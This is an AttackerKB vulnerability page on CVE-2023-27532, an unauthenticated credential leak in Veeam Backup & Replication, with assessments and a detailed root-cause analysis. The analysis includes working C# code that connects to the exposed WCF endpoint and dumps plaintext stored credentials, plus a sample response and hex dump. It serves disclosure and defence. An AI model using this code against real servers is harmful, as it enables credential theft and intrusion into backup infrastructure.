High
CVE-2023-27532
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-27532
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Vulnerability in Veeam Backup & Replication component allows encrypted credentials stored in the configuration database to be obtained. This may lead to gaining access to the backup infrastructure hosts.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
On March 7, 2023, Veeam published an advisory, along with patches, for CVE-2023-27532. This vulnerability affects Veeam Backup & Replication versions 12 (before version 12.0.0.1420 P20230223) and 11 (before version 11.0.1.1261 P20230227). An unauthenticated attacker is able to retrieve encrypted credentials from the Veeam Backup service, which listens on TCP port 9401 by default. The original CVE was given a CVSS score of 7.5 and a severity of High, due to newly available information, this seems to underestimate the impact this vulnerability can have.
On March 9, 2023, CODE WHITE GmbH tweeted that it was possible to retrieve plaintext credentials from the Veeam Backup service. The original advisory stated only encrypted credentials could be leaked, so this development significantly increases the impact of this vulnerability.
On March 13, 2023, Huntress published an article demonstrating how arbitrary code execution can be achieved. By leveraging the initial vulnerability to retrieve the encrypted credentials, the plaintext credentials can be retrieved by calling another unauthenticated endpoint on the Veeam Backup & Replication server. Finally the newly discovered credential appears to be used to call an authenticated endpoint to achieve arbitrary code execution with local system privileges. Huntress have not published full details of the exploit nor any proof of concept code.
On March 17, 2023, researcher Y4er published technical details on how to retrieve the encrypted credentials from a vulnerable Veeam Backup & Replication server.
Veeam Backup & Replication is a high value target for an attacker, and this product has been featured on the CISA Known Exploited Vulnerabilities Catalog in 2022 for two different CVE’s.
While it is unlikely to see the vulnerable service broadly exposed on internet-facing systems, for an attacker with initial access into a corporate network, this will be a target of great interest. In particular we can expect ransomware groups to leverage this vulnerability in future ransomware campaigns.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
We’ve continued to see reports of exploitation for CVE-2023-27532. Almost a year out from the initial advisory, there’s been ransomware (Cuba, Akira) and other use of this vuln by financially motivated groups. Patch uptake has reportedly been pretty strong, but notably, this is a solid internal attack vector, so locking down internet exposure alone isn’t a sufficient mitigation plan.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
This vulnerability is used as part of the ransomware attacks conducted by the Cuba Ransomware group.
One of the sources of this information is this blog: https://blogs.blackberry.com/en/2023/08/cuba-ransomware-deploys-new-tools-targets-critical-infrastructure-sector-in-the-usa-and-it-integrator-in-latin-america
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- veeam
Products
- veeam backup & replication 11.0.1.1261,
- veeam backup & replication 12.0.0.1420
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/08/22/cisa-adds-two-known-exploited-vulnerabilities-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Overview
Veeam Backup & Replication is a data backup and replication solution. On March 7, 2023, Veeam published an advisory, along with patches, for https://nvd.nist.gov/vuln/detail/CVE-2023-27532. This vulnerability affects Veeam Backup & Replication versions 12 (before build 12.0.0.1420 P20230223) and 11 (before build 11.0.1.1261 P20230227).
The vulnerability as described by Veeam is a High severity issue with a CVSS base score of 7.5, that allows an attacker to obtain encrypted credentials from the Veeam backup service.
On March 9, 2023, CODE WHITE GmbH published it was possible to retrieve the plaintext credentials from the Veeam Backup service. On March 13, 2023, Huntress published it as possible to achieve remote code execution in the Veeam Backup & Replication server. On March 17, 2023, researcher Y4er published technical details on how to retrieve credentials via the vulnerability.
Upon review we can confirm the root cause of the vulnerability is a lack of authentication on a remote Windows Communication Foundation (WCF) service endpoint that can lead to both leaking plaintext credentials to an attacker as well as unauthenticated remote code execution with local system privileges on the Veeam Backup & Replication server. This adjusted description of the vulnerability would make it a Critical severity issue with a CVSS base score of 9.1.
The impact of leaking plaintext credentials from a Veeam Backup & Replication server should not be understated. The credentials stored by the service are intended to allow the product to authenticate to the multitude of connected components that comprise the organization’s backup infrastructure.
Veeam Backup & Replication is a high value target for an attacker, and this product has been featured on the CISA Known Exploited Vulnerabilities Catalog in 2022 for two different CVE’s. While it is unlikely to see the vulnerable service broadly exposed on internet-facing systems, for an attacker with initial access into a corporate network, this will be a target of great interest. In particular we can expect ransomware groups to leverage this vulnerability in future ransomware campaigns.
During this analysis, Veeam Backup & Replication version 11.0.1.1261_20211123 was tested.
The Vulnerable Endpoint
The vulnerable endpoint is in the Veeam.Backup.Service.exe
process which listens for connections on TCP port 9401. This is the port that allows the Veeam Mount server to communicate with the Veeam Backup server. Depending on the configuration of the Veeam Backup & Replication installation, the mount server and backup server may not be installed on the same machine, hence the need to communicate to one another over an exposed port.
The exposed TCP port provides access to a .NET Windows Communication Foundation (WCF) service endpoint. We can see below how the endpoint is created. A NetTcpBinding
instance is created which is configured via the configuration name invokeServiceBinding
. This configuration is specified separately and will define how the endpoints transport mechanism is secured. The CVbRestoreServiceStub
class defines the method implementations that are exposed to the service endpoint via the IRemoteInvokeService
interface.
namespace Veeam.Backup.ServiceLib { public class CRemoteInvokeServiceHolder : IDisposable private CRemoteInvokeServiceHolder(string ipOrDns, int port, CVbServiceManagers managers) { try { this._serviceHost = this._disposableList.Add<ServiceHost>(new ServiceHost((object) new CVbRestoreServiceStub(managers), Array.Empty<Uri>())); NetTcpBinding netTcpBinding = new NetTcpBinding("invokeServiceBinding"); this.ChannelAddress = string.Format("net.tcp://{0}:{1}/", (object) ipOrDns, (object) port); this._serviceHost.AddServiceEndpoint(typeof (IRemoteInvokeService), (Binding) netTcpBinding, this.ChannelAddress); this._serviceHost.Open(); } catch (Exception ex) { this.DisposeInternal(); throw; } }
We can see below the IRemoteInvokeService
interface will expose 3 methods to a remote caller.
namespace Veeam.Backup.Interaction.MountService { [ServiceContract] public interface IRemoteInvokeService { [OperationContract] [FaultContract(typeof(CRemoteInvokeExceptionInfo))] string Invoke(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string parameters); [OperationContract] [FaultContract(typeof(CRemoteInvokeExceptionInfo))] DataTable GetDataTable(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string spec); [OperationContract] [FaultContract(typeof(CRemoteInvokeExceptionInfo))] DataSet GetDataSet(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string spec); } }
To understand how the endpoint is secured we must investigate the configuration invokeServiceBinding
which was passed by name to the NetTcpBinding
instance for the endpoint. The configuration for the binding is defined in the file C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config
as shown below.
<bindings> <netTcpBinding> <binding name="invokeServiceBinding" maxReceivedMessageSize="2147483647" sendTimeout="00:10:00" receiveTimeout="00:20:00"> <security mode="Transport"> <transport clientCredentialType="None" /> </security> <readerQuotas maxStringContentLength="2147483647" /> </binding> </netTcpBinding> </bindings>
We can note that the security mode is set to be Transport
. For NetTcpBinding
this means the network communication will be secured against eavesdropping and tampering, via Transport Layer Security (TLS) over TCP. Next we see the transports clientCredentialType
, which defines the client authentication mechanism. The following values are supported by WCF.
Certificate | 2 | Specifies client authentication using a certificate. |
None | 0 | Specifies anonymous authentication. |
Windows | 1 | Specifies client authentication using Windows. |
We can note the client credential type is set to None
which allows for anonymous authentication to the remote endpoint. This allows a remote attacker to call methods on the exposed endpoint unauthenticated.
Upon review of the method implementations in CVbRestoreServiceStub
we can note that no additional access controls are implemented in the business logic of the exposed methods.
With the above information we can create a channel to the remote service endpoint with the following code.
string host = "127.0.0.1"; int port = 9401; NetTcpBinding binding = new NetTcpBinding(); NetTcpSecurity netTcpSecurity = new NetTcpSecurity(); netTcpSecurity.Mode = SecurityMode.Transport; TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity(); tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None; netTcpSecurity.Transport = tcpTransportSecurity; binding.Security = netTcpSecurity; binding.Name = "foo"; Uri uri = new Uri(String.Format("net.tcp://{0}:{1}/", host, port)); EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate")); ChannelFactory<IRemoteInvokeService> channelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint); X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication(); x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None; channelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication; IRemoteInvokeService channel = channelFactory.CreateChannel(endpoint);
Leaking Plaintext Credentials
To leak the credentials stored by the backup service an attacker must connect to the exposed service endpoint and call the Invoke
method on the IRemoteInvokeService
interface. The Invoke
method is essentially a dispatcher, exposing several hundred methods to the caller. We can see below that 3 parameters must be provided. The scope
and method
parameters allow the caller to select a specific method to call from the hundreds that are available, and the parameters
parameter provides a string of text which will be deserialized to construct the required parameters for any given method being invoked.
namespace Veeam.Backup.ServiceLib { [ServiceBehavior(ConfigurationName = "BackupSecureService", InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, MaxItemsInObjectGraph = 2147483647)] public class CVbRestoreServiceStub : IRemoteInvokeService { public string Invoke(ERemoteInvokeScope scope, ERemoteInvokeMethod method, string parameters) { try { Log.Message(LogLevels.UltimateDetailed, string.Format("Invoke: scope '{0}', method '{1}'", (object) scope, (object) method)); XmlNode specNode = CRemoteInvokeSpec.GetSpecNode(parameters); return this.ProcessCommand(scope, method, specNode).Serialize(); } catch (Exception ex) { int scope1 = (int) scope; int method1 = (int) method; CBackupSecureServiceErrorHandler.LogAndThrowFaultException(ex, (ERemoteInvokeScope) scope1, (ERemoteInvokeMethod) method1); throw; } }
By providing a scope
of ERemoteInvokeScope.DatabaseManager
we end up in the ExecuteDatabaseManagerCommand
method.
protected CRemoteInvokeRetVal ProcessCommand( ERemoteInvokeScope scope, ERemoteInvokeMethod method, XmlNode specNode) { switch (scope) { case ERemoteInvokeScope.Service: return this.ExecuteServiceCommand(method, specNode); case ERemoteInvokeScope.Database: return this.ExecuteDbCommand(method, specNode); case ERemoteInvokeScope.StgLockManager: return this.ExecuteStgLocManagerCommand(method, specNode); case ERemoteInvokeScope.LeaseManager: return this.ExecuteLeaseManagerCommand(method, specNode); case ERemoteInvokeScope.AgentManager: return this.ExecuteAgentManagerCommand(method, specNode); case ERemoteInvokeScope.StorageAccessor: return this.ExecuteStorageAccessorCommand(method, specNode); case ERemoteInvokeScope.ItemRestore: return this.ExecuteFileRestoreCommand(method, specNode); case ERemoteInvokeScope.RestoreSessionManager: return this.ExecuteRestoreSessionCommand(method, specNode); case ERemoteInvokeScope.DatabaseAccessor: return this.ExecuteDatabaseAccessorCommand(method, specNode); case ERemoteInvokeScope.Snmp: return this.ExecuteSnmpCommand(method, specNode); case ERemoteInvokeScope.ResourceScheduling: return this.ExecuteResourceSchedulingCommand(method, specNode); case ERemoteInvokeScope.HierarchyLoader: return this.ExecuteHierarchyLoaderCommand(method, specNode); case ERemoteInvokeScope.DatabaseManager: return this.ExecuteDatabaseManagerCommand(method, specNode); // <--- default: throw ExceptionFactory.Create(string.Format("Unknown scope: {0}", (object) scope)); } }
And by providing a method
of ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds
we can call the ExecuteCredentialsDbScopeGetAllCreds
method.
private CRemoteInvokeRetVal ExecuteDatabaseManagerCommand( ERemoteInvokeMethod method, XmlNode parentNode) { switch (method) { // ... case ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds: return this.ExecuteCredentialsDbScopeGetAllCreds(CCommonInvokeSpec.Deserialize(parentNode)); // <---
This will call the method GetAllCreds
to retrieve a list of CDbCredentialsInfo
objects, one for each credential in the applications database.
private CRemoteInvokeRetVal ExecuteCredentialsDbScopeGetAllCreds(CCommonInvokeSpec spec) { IList<CDbCredentialsInfo> allCreds1 = CCredentialsStrore.Instance.Credentials.GetAllCreds(this._deserializer.DeserializeCustom<bool>(spec.GetParamAsString("includeHidden"))); CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Create(); allCreds2.AddParam("retVal", CProxyBinaryFormatter.Serialize((object) allCreds1)); return (CRemoteInvokeRetVal) allCreds2; }
We can see how the credentials are retrieved from the database, using a stored procedure called GetAllCreds
to perform the required query.
namespace Veeam.Backup.DBManager { public class CCredentialsDbScope { public IList<CDbCredentialsInfo> GetAllCreds(bool includeHidden = true) { using (DataTableReader dataReader = this._dbAccessor.GetDataTable(nameof (GetAllCreds)).CreateDataReader()) return this.ReadCredsCollection((IDataReader) dataReader, includeHidden); } private IList<CDbCredentialsInfo> ReadCredsCollection(IDataReader reader, bool includeHidden = true) { IList<CDbCredentialsInfo> cdbCredentialsInfoList = (IList<CDbCredentialsInfo>) new List<CDbCredentialsInfo>(); while (reader.Read()) { CDbCredentialsInfo cdbCredentialsInfo = this.Row2CredentialsInfo(reader); if (includeHidden || cdbCredentialsInfo.Visible) cdbCredentialsInfoList.Add(cdbCredentialsInfo); } return cdbCredentialsInfoList; }
The SQL for this stored procedure is as follows.
USE [VeeamBackup] GO /****** Object: StoredProcedure [dbo].[GetAllCreds] Script Date: 23/03/2023 03:23:18 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO ALTER PROCEDURE [dbo].[GetAllCreds] AS BEGIN SET NOCOUNT ON; SELECT c.*, e.credentials_tag FROM [dbo].[Credentials] c LEFT JOIN [dbo].[CredentialsPolicyExtension] e on c.id = e.credentials_id ORDER BY [user_name]; END;
Running this stored procedure will return all the credentials stored in the dbo.Credentials
table, we can note that the passwords are both stored and retrieved as encrypted passwords.
The encrypted credentials are held server side in a CDbCredentialsInfo
object, which in turn uses an instance of CCredentials
to store the actual credential information such as user name, description and the encrypted password.
However when the list of CDbCredentialsInfo
objects is returned to the remote client caller. The list is serialized for transport over the network connection. The class CCredentials
has an implementation of ISerializable.GetObjectData
to allow the class to control its own object serialization during this process, as shown below.
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("UserName", UserName); info.AddValue("Password", this.GetPassword()); info.AddValue("IsLocalProtect", IsLocalProtect); info.AddValue("CurrentUser", CurrentUser); info.AddValue("Description", Description); info.AddValue("ChangeTimeUtcHasValue", ChangeTimeUtc.HasValue); if (ChangeTimeUtc.HasValue) { info.AddValue("ChangeTimeUtc", ChangeTimeUtc.Value); } }
We can note that the encrypted password is retrieved by a call to GetPassword
and the result of this call is the value that is serialized, and thus transferred to the remote caller.
We can see below how GetPassword
will ultimately decode the encrypted password via ProtectedData.Unprotect
, which is a wrapper for crypt32!CryptProtectData
from the DAPI.
namespace Veeam.Backup.Common { public static class SCredentialsGetPasswordExtension { public static string GetPassword(this CCredentials cCredentials) => CStringCoder.Decode(cCredentials.EncryptedPassword, cCredentials.IsLocalProtect); // <--- [1] } public class CStringCoder { public static string Decode(CCodedPassword encodedStr, bool isLocalProtect) => CStringCoder.Decode(encodedStr.Value, isLocalProtect); // <--- [2] public static string Decode(string encodedStr, bool isLocalProtect) { if (encodedStr == null) return (string) null; return isLocalProtect ? ProtectedStorage.GetLocalStringNoThrow(encodedStr) : ProtectedStorage.GetUserStringNoThrow(encodedStr); // <--- [3] } } public static class ProtectedStorage { public static string GetLocalStringNoThrow(string encrypted) { try { return ProtectedStorage.GetLocalString(encrypted); // <--- [4] } catch (Exception ex) { object[] objArray = Array.Empty<object>(); Log.Exception(ex, (string) null, objArray); return string.Empty; } } public static string GetLocalString(string encrypted) => string.IsNullOrEmpty(encrypted) ? string.Empty : Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(encrypted), (byte[]) null, DataProtectionScope.LocalMachine)); // <--- [5] } }
The serialized CCredentials
instances are finally transferred back to the remote caller, who will now have access to the plaintext passwords for all credentials returned in the serialized data stream.
It is worth noting that if the remote caller deserializes the returned credentials, back into a List<CDbCredentialsInfo>
instance, the plaintext passwords in the serialized credentials will become encrypted by a call to ProtectedData.Protect
during deserialization. However as this operation occurs on the attackers system, it is trivial for an attacker to retrieve the plaintext through a reciprocal call to ProtectedData.Unprotect
.
We can therefore leak the credentials from the remote Veeam Backup & Replication server via the following code.
MemoryStream stream = new MemoryStream(); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(stream, true); string includeHidden = Convert.ToBase64String(stream.ToArray()); string parameters = String.Format( """ <RemoteInvokeSpec ContextSessionId="{0}" Scope="Service" Method="CredentialsDbScopeGetAllCreds"> <Params> <Param ParamName="includeHidden" ParamValue="{1}" ParamType="System.String"></Param> </Params> </RemoteInvokeSpec> """, Guid.NewGuid().ToString(), includeHidden ); string xml_result = channel.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, parameters);
An example of the raw response from calling the CredentialsDbScopeGetAllCreds
method can be seen below.
<?xml version="1.0"?><RemoteInvokeRetVal><Params><Param ParamName="retVal" ParamType="System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ParamValue="AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAYAAAAGAAAABwMAAAAAAQAAAAgAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAADQIMCgAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCgAAAAIAAAArAAAAAAAAAAT1////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgIDWydwBejhSZU1GGfGI3HiBfT///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYNAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJDgAAAAEFAAAABAAAAFQAAAAAAAAAAfH////1////UK/rtWMaSEyDn1+KVFJSCwHw////9P///wYRAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJEgAAAAEGAAAABAAAAF0AAAAAAAAAAe3////1////0t55466Nmku3fX7ZnoxxUgHs////9P///wYVAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJFgAAAAEHAAAABAAAAFMAAAAAAAAAAen////1////0UEA/WhKvUqu/rK/Art8qQHo////9P///wYZAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJGgAAAAEIAAAABAAAAEIDAAAAAAAAAeX////1////n8Lk8hEuR0S0gSPTsTzMwgHk////9P///wYdAAAAJGYyZTRjMjlmLTJlMTEtNDQ0Ny1iNDgxLTIzZDNiMTNjY2NjMgEJHgAAAAEJAAAABAAAAEUDAAAAAAAAAeH////1////SbEglUBbpkuuoWMpWJVdNgHg////9P///wYhAAAAJDk1MjBiMTQ5LTViNDAtNGJhNi1hZWExLTYzMjk1ODk1NWQzNgEJIgAAAAUOAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCgAAAAYjAAAABHJvb3QGJAAAAAABAAYlAAAAHEhlbHBlciBhcHBsaWFuY2UgY3JlZGVudGlhbHMB4FOzS2Ap2wgBEgAAAA4AAAAGJgAAAARyb290CSQAAAABAAYoAAAAM1RlbmFudC1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwEQebs+YCnbCAEWAAAADgAAAAYpAAAABHJvb3QJJAAAAAEABisAAAAiQXp1cmUgaGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwbk5DYCnbCAEaAAAADgAAAAYsAAAABHJvb3QJJAAAAAEABi4AAAA1UHJvdmlkZXItc2lkZSBuZXR3b3JrIGV4dGVuc2lvbiBhcHBsaWFuY2UgY3JlZGVudGlhbHMBEHm7PmAp2wgBHgAAAA4AAAAGLwAAAA5UZXN0TGludXhBZG1pbgYwAAAAHUFub3RoZXJUZXN0UGFzc3dvcmQ5ODc2NTQzMjEhAQAGMQAAAA5UZXN0TGludXhBZG1pbgFQpfxe8SnbCAEiAAAADgAAAAYyAAAAEVRlc3RTdGFuZGFyZEFkbWluBjMAAAAVTXlBZG1pblBhc3N3b3JkMTIzNDUhAQAGNAAAAAVBZG1pbgEQOUM98SnbCAs=" /></Params></RemoteInvokeRetVal>
If we base64 decode the ParamValue
we can see the plaintext credentials within the serialized data stream, specifically AnotherTestPassword9876
and MyAdminPassword12345!
in the example below.
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |.....ÿÿÿÿ.......| 00000010 00 0c 02 00 00 00 56 56 65 65 61 6d 2e 42 61 63 |......VVeeam.Bac| 00000020 6b 75 70 2e 4d 6f 64 65 6c 2c 20 56 65 72 73 69 |kup.Model, Versi| 00000030 6f 6e 3d 31 31 2e 30 2e 30 2e 30 2c 20 43 75 6c |on=11.0.0.0, Cul| 00000040 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 |ture=neutral, Pu| 00000050 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 66 64 |blicKeyToken=bfd| 00000060 36 38 34 64 65 32 32 37 36 37 38 33 61 04 01 00 |684de2276783a...| 00000070 00 00 a2 01 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 |..¢.System.Colle| 00000080 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 4c |ctions.Generic.L| 00000090 69 73 74 60 31 5b 5b 56 65 65 61 6d 2e 42 61 63 |ist`1[[Veeam.Bac| 000000a0 6b 75 70 2e 4d 6f 64 65 6c 2e 43 44 62 43 72 65 |kup.Model.CDbCre| 000000b0 64 65 6e 74 69 61 6c 73 49 6e 66 6f 2c 20 56 65 |dentialsInfo, Ve| 000000c0 65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c |eam.Backup.Model| 000000d0 2c 20 56 65 72 73 69 6f 6e 3d 31 31 2e 30 2e 30 |, Version=11.0.0| 000000e0 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 |.0, Culture=neut| 000000f0 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f |ral, PublicKeyTo| 00000100 6b 65 6e 3d 62 66 64 36 38 34 64 65 32 32 37 36 |ken=bfd684de2276| 00000110 37 38 33 61 5d 5d 03 00 00 00 06 5f 69 74 65 6d |783a]]....._item| 00000120 73 05 5f 73 69 7a 65 08 5f 76 65 72 73 69 6f 6e |s._size._version| 00000130 04 00 00 27 56 65 65 61 6d 2e 42 61 63 6b 75 70 |...'Veeam.Backup| 00000140 2e 4d 6f 64 65 6c 2e 43 44 62 43 72 65 64 65 6e |.Model.CDbCreden| 00000150 74 69 61 6c 73 49 6e 66 6f 5b 5d 02 00 00 00 08 |tialsInfo[].....| 00000160 08 09 03 00 00 00 06 00 00 00 06 00 00 00 07 03 |................| 00000170 00 00 00 00 01 00 00 00 08 00 00 00 04 25 56 65 |.............%Ve| 00000180 65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c |eam.Backup.Model| 00000190 2e 43 44 62 43 72 65 64 65 6e 74 69 61 6c 73 49 |.CDbCredentialsI| 000001a0 6e 66 6f 02 00 00 00 09 04 00 00 00 09 05 00 00 |nfo.............| 000001b0 00 09 06 00 00 00 09 07 00 00 00 09 08 00 00 00 |................| 000001c0 09 09 00 00 00 0d 02 0c 0a 00 00 00 57 56 65 65 |............WVee| 000001d0 61 6d 2e 42 61 63 6b 75 70 2e 43 6f 6d 6d 6f 6e |am.Backup.Common| 000001e0 2c 20 56 65 72 73 69 6f 6e 3d 31 31 2e 30 2e 30 |, Version=11.0.0| 000001f0 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 |.0, Culture=neut| 00000200 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f |ral, PublicKeyTo| 00000210 6b 65 6e 3d 62 66 64 36 38 34 64 65 32 32 37 36 |ken=bfd684de2276| 00000220 37 38 33 61 05 04 00 00 00 25 56 65 65 61 6d 2e |783a.....%Veeam.| 00000230 42 61 63 6b 75 70 2e 4d 6f 64 65 6c 2e 43 44 62 |Backup.Model.CDb| 00000240 43 72 65 64 65 6e 74 69 61 6c 73 49 6e 66 6f 05 |CredentialsInfo.| 00000250 00 00 00 18 3c 56 65 72 73 69 6f 6e 3e 6b 5f 5f |....<Version>k__| 00000260 42 61 63 6b 69 6e 67 46 69 65 6c 64 13 3c 49 64 |BackingField.<Id| 00000270 3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 |>k__BackingField| 00000280 14 3c 54 61 67 3e 6b 5f 5f 42 61 63 6b 69 6e 67 |.<Tag>k__Backing| 00000290 46 69 65 6c 64 18 3c 56 69 73 69 62 6c 65 3e 6b |Field.<Visible>k| 000002a0 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 1c 3c |__BackingField.<| 000002b0 43 72 65 64 65 6e 74 69 61 6c 73 3e 6b 5f 5f 42 |Credentials>k__B| 000002c0 61 63 6b 69 6e 67 46 69 65 6c 64 00 03 04 00 04 |ackingField.....| 000002d0 09 0b 53 79 73 74 65 6d 2e 47 75 69 64 20 56 65 |..System.Guid Ve| 000002e0 65 61 6d 2e 42 61 63 6b 75 70 2e 4d 6f 64 65 6c |eam.Backup.Model| 000002f0 2e 43 56 62 72 4f 62 6a 65 63 74 54 61 67 02 00 |.CVbrObjectTag..| 00000300 00 00 01 20 56 65 65 61 6d 2e 42 61 63 6b 75 70 |... Veeam.Backup| 00000310 2e 43 6f 6d 6d 6f 6e 2e 43 43 72 65 64 65 6e 74 |.Common.CCredent| 00000320 69 61 6c 73 0a 00 00 00 02 00 00 00 2b 00 00 00 |ials........+...| 00000330 00 00 00 00 04 f5 ff ff ff 0b 53 79 73 74 65 6d |.....õÿÿÿ.System| 00000340 2e 47 75 69 64 0b 00 00 00 02 5f 61 02 5f 62 02 |.Guid....._a._b.| 00000350 5f 63 02 5f 64 02 5f 65 02 5f 66 02 5f 67 02 5f |_c._d._e._f._g._| 00000360 68 02 5f 69 02 5f 6a 02 5f 6b 00 00 00 00 00 00 |h._i._j._k......| 00000370 00 00 00 00 00 08 07 07 02 02 02 02 02 02 02 02 |................| 00000380 03 5b 27 70 05 e8 e1 49 95 35 18 67 c6 23 71 e2 |.['p.èáI.5.gÆ#qâ| 00000390 05 f4 ff ff ff 20 56 65 65 61 6d 2e 42 61 63 6b |.ôÿÿÿ Veeam.Back| 000003a0 75 70 2e 4d 6f 64 65 6c 2e 43 56 62 72 4f 62 6a |up.Model.CVbrObj| 000003b0 65 63 74 54 61 67 01 00 00 00 07 5f 74 61 67 53 |ectTag....._tagS| 000003c0 74 72 01 02 00 00 00 06 0d 00 00 00 24 37 30 32 |tr..........$702| 